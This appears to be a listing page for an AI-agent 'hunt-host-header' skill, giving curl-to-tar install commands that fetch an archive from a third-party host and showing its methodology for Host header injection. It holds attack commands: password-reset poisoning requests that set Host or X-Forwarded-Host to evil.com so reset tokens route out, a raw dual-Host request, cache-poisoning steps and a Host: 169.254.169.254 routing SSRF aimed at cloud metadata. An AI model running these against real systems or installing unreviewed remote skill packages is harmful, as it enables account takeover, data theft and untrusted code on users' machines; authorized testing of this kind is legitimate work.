hunt-host-header – Other skill for AI agents
Hunt Host Header Injection
Install the hunt-host-header skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-host-header-fe000.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-host-header – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-host-header-fe000.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-host-header – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-host-header-fe000.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-host-header – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-host-header-fe000.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-host-header – then describe the task you want done.
SKILL.md content
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-HOST-HEADER — Host Header Injection
Grounding / Provenance
This skill is built from the public Host-header attack literature, not invented payloads.
Cite the *technique source* in your report, never a fabricated ID:
- Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era
"Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link
case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style
allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
- Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research,
James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).
These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
- Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF
(Host header steers the front-end's upstream selection).
When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT
on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not
verified — a missing citation is always better than a wrong one.
---
Crown Jewel Targets
Reset-link manipulation has context-dependent severity; an owned-account test alone does not establish takeover of any user. State required victim interaction, token validation and demonstrated scope.
Highest-value chains:
- Password reset poisoning → ATO — server builds the reset link from the request Host;
attacker sets Host: evil.com; the victim's reset email points the token at the attacker →
token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*
their own reset leaks the token to evil.com.
- Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects
an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned
entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
- Routing-based SSRF — the front-end uses the *Host header itself* to pick the upstream;
Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target
→ cloud metadata / internal admin panels.
- Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour
X-Original-URL/
X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge
ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
- OAuth/OIDC poisoning — Host drives
redirect_urior the OIDCissuer/ discovery doc →
auth-code or token theft → ATO.
---
Attack Surface Signals
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)Dangerous header candidates (unkeyed / trusted inputs):
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)---
Step-by-Step Hunting Methodology
Use an owner-approved isolated cache namespace/lab and disposable owned accounts. Before any cache write verify the cache-buster is actually keyed; otherwise stop rather than poison a shared production key. Confirm request limits, expiry/purge and cleanup. Use an approved owned callback domain instead of third-party example domains; minimize/redact token captures and never request real cloud credentials or contact internal services outside explicit scope. A harmless owned callback usually suffices to show routing behavior. OOB DNS alone proves resolution, not HTTP access or credential impact.
> Always test against your own registered test account. Never request another user's reset.
Phase 1 — Password Reset Poisoning
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "[email protected]"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
| openssl s_client -quiet -connect "$TARGET:443" -servername "$TARGET" -verify_return_error
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "[email protected]"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:[email protected]" -d "[email protected]"Confirm: open the reset email *in your own test inbox* and read the link host. The token must
appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator
domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so
that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
have proof — see Validation.
Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host
Mechanism: this is a reflection bug, not an OOB bug. The injected host must be *reflected into
the response body* (an absolute URL, script src, <link href>, <base href>, redirect
Location, or canonical/og:url) and that response must be cached and reusable by another permitted request on the same verified test key. No Collaborator callback is expected from the cache test itself — only later, if a
victim's browser loads the poisoned absolute URL.
# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary as one clue only; absence does not prove the CDN excludes a header from its internal cache key.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONEDFalse-positive killers (mandatory):
- A reflection that only ever appears for *your* request (because the header is keyed, e.g. in
Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the
payload on a request that *omits* the header.
Age: 0+MISSevery time → no shared cache → no mass impact. Demote to self-only / Low.- Confirm blast radius from a second machine / fresh egress IP / incognito before claiming
"mass". Cache scope is often per-edge / per-cookie / per-geo.
Phase 3 — SSRF via Host
… (full content is in the download package)
Related skills
- hunt-html-injection – Hunt HTML Injection
- hunt-http-smuggling – Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE).
- hunt-jwt-crypto – Hunt JWT cryptographic failures
- hunt-ldap – Hunt LDAP Injection and XPath Injection
- hunt-lfi – Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal
- hunt-llm-ai – Hunt LLM/AI feature bugs
- hunt-mfa-bypass – Hunt MFA / 2FA bypass
- hunt-nosqli – Hunt NoSQL Injection